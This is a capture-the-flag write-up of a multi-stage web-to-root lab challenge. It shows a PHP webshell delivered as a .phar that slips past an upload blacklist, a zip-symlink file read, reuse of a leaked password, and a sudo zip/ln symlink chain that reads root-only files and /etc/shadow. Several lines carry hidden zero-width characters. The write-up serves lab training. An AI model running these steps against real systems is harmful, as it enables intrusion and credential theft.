← Back to Writeups
CUSTOMMediumWeb

Симпсоны (Simpsons)

XESXOR9/10/20264 min read
#web#custom#medium#zip_extension_blacklist_bypass#phar_webshell_rce#zip_slip_symlink_read#predictable_md5_upload_path#htaccess_access_bypass#credential_reuse_su#sudo_zip_privesc#sudo_ln_symlink_chain#multi_part_flag_assembly

Симпсоны (Simpsons)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-05 | Status: Solved Techniques: zip_extension_blacklist_bypass, phar_webshell_rce, zip_slip_symlink_read, predictable_md5_upload_path, htaccess_access_bypass, credential_reuse_su, sudo_zip_privesc, sudo_ln_symlink_chain, multi_part_flag_assembly

Summary

Task: PHP ZIP-hosting app extracts uploads and prints contents; extension blacklist misses .phar. Solution: chain .phar webshell RCE (www-data) + zip --symlinks arbitrary read, reuse leaked creds to su mikki for half the flag, then abuse sudo zip + sudo ln symlink chain to read /root/last_part as root and assemble the flag.

Симпсоны (Simpsons) — hackerlab

Description

Симпсоны. Казалось бы, причем тут Симпсоны?

English translation: "The Simpsons. Seemingly, what do the Simpsons have to do with it?"

A multi-stage web-to-root machine. Target 192.168.2.206 exposes a "ZIP Hosting" web application. The goal is full compromise; the flag is split between mikki's home directory and /root. The flag content itself is the punchline that answers the description's question.

Analysis

Recon

nmap -sC -sV 192.168.2.206
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu
53/tcp open  domain  (Docker embedded DNS 127.0.0.11 — RED HERRING, unresponsive)
80/tcp open  http    Apache

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • Port 53 is Docker's internal resolver (127.0.0.11) leaking out of the container — a red herring, it does not answer real queries.
  • Port 80 serves a ZIP Hosting app with an upload form posting to upload.php (accepts .zip).
  • robots.txt disallows /secret.txt. Requesting /secret.txt returns 403 Forbidden, and the Apache error page footer reveals Apache Server at ... Port 8000 — the real port the container listens on internally.

upload.php logic (recovered)

The application does the following: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

php
// 1. Only the EXTENSION is validated
if (pathinfo($file_name, PATHINFO_EXTENSION) !== "zip") { die("only zip"); }

// 2. Stored under a PREDICTABLE path: md5 of the ORIGINAL filename
$path      = "/var/www/html/uploads/" . md5($file_name);
$file_path = "uploads/" . md5($file_name) . ".zip";

// 3. Extract with an extension BLACKLIST
shell_exec("unzip $file_path -x '*.php' -x '*.html' -x '*.php3' "
         . "-x '*.php4' -x '*.php5' -x '*.phtml' -d $path");

// 4. Print extracted contents back to the user
echo shell_exec("cat $path/* 2>&1");

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Two distinct vulnerabilities fall out of this:

  1. Webshell upload via blacklist bypass — the -x exclusions cover php/html/php3/php4/php5/phtml but not .phar. Apache executes .phar as PHP, so a zip containing shell.phar yields RCE.
  2. Arbitrary file read via Zip-Slip symlink — a zip created with zip --symlinks preserves symlinks on extraction, and cat $path/* then follows the symlink and prints the target file content.

The path is fully predictable because it is md5(original_filename). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1 — RCE as www-data (.phar webshell)

bash
# Build the webshell zip
printf '<?php system($_GET["c"]); ?>' > shell.phar
zip shtest.zip shell.phar
# md5("shtest.zip") = 6256aeea0e829dd7156d3c80f6c3b57d

Upload shtest.zip via the form, then trigger:

bash
MD5=6256aeea0e829dd7156d3c80f6c3b57d
curl "http://192.168.2.206/uploads/$MD5/shell.phar?c=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

(.pht extracts too, but only .phar is executed by this Apache config.) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2 — Arbitrary read primitive (Zip-Slip symlink)

bash
ln -s /etc/passwd s_link
zip --symlinks slink.zip s_link
# upload slink.zip -> the page prints /etc/passwd via `cat $path/*`

/etc/passwd reveals user mikki (uid 1000, home /home/mikki, shell /bin/sh).

Step 3 — Credential leak and lateral movement to mikki

/var/www/html/secret.txt is blocked over HTTP only by an .htaccess Deny from all rule on a <Files> block. From the webshell that ACL is irrelevant:

bash
curl "http://192.168.2.206/uploads/$MD5/shell.phar?c=cat%20/var/www/html/secret.txt"
# mikki : mase4mase

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

/home/mikki/first_part is mode -r-------- owned by mikki (unreadable by www-data), so reuse the leaked password to su:

bash
echo mase4mase | su mikki -c "cat /home/mikki/first_part"
# CODEBY{REDACTED

That is the first half of the flag.

Step 4 — Privilege escalation to root (sudo zip + sudo ln symlink chain)

As mikki:

bash
sudo -l
# (root) NOPASSWD: /usr/bin/zip data.zip /var/www/*output
# (root) NOPASSWD: /usr/bin/ln -s /var/www/* output

Both rules are constrained:

  • the ln rule only allows a symlink source under /var/www/*;
  • the zip rule globs /var/www/*output. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The trick is a two-level symlink chain. zip (run as root) follows symlinks and stores the target's content, so we point the chain at a root-owned file:

bash
# (a) As www-data: the uploads dir <md5> is world-writable (777).
#     Create a pivot symlink there (its path is under /var/www, satisfying the ln rule).
ln -s /root/last_part /var/www/html/uploads/$MD5/pivot

# (b) As mikki: create `output` -> pivot. Source is under /var/www, so sudo ln allows it.
sudo /usr/bin/ln -s /var/www/html/uploads/$MD5/pivot output
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# (c) As mikki: zip the `output` path; it matches the /var/www/*output glob.
#     zip runs as root and follows output -> pivot -> /root/last_part.
sudo /usr/bin/zip data.zip /var/www/html/uploads/$MD5/output

# (d) Read the root-owned content stored in the archive.
unzip -p data.zip
# REDACTED}

The primitive was first verified by reading /etc/shadow (mikki's hash present). The correct root filename last_part was found by brute-forcing candidate names (second_part, flag.txt, root.txt, last_part, ...) through the same zip primitive. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 5 — Assemble the flag

first_part  = CODEBY{REDACTED
last_part   = REDACTED}
flag        = CODEBY{REDACTED}

The decoded flag — "I haven't seen the Simpsons in a long time" — is the punchline answering the description's question "what do the Simpsons have to do with it?". ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍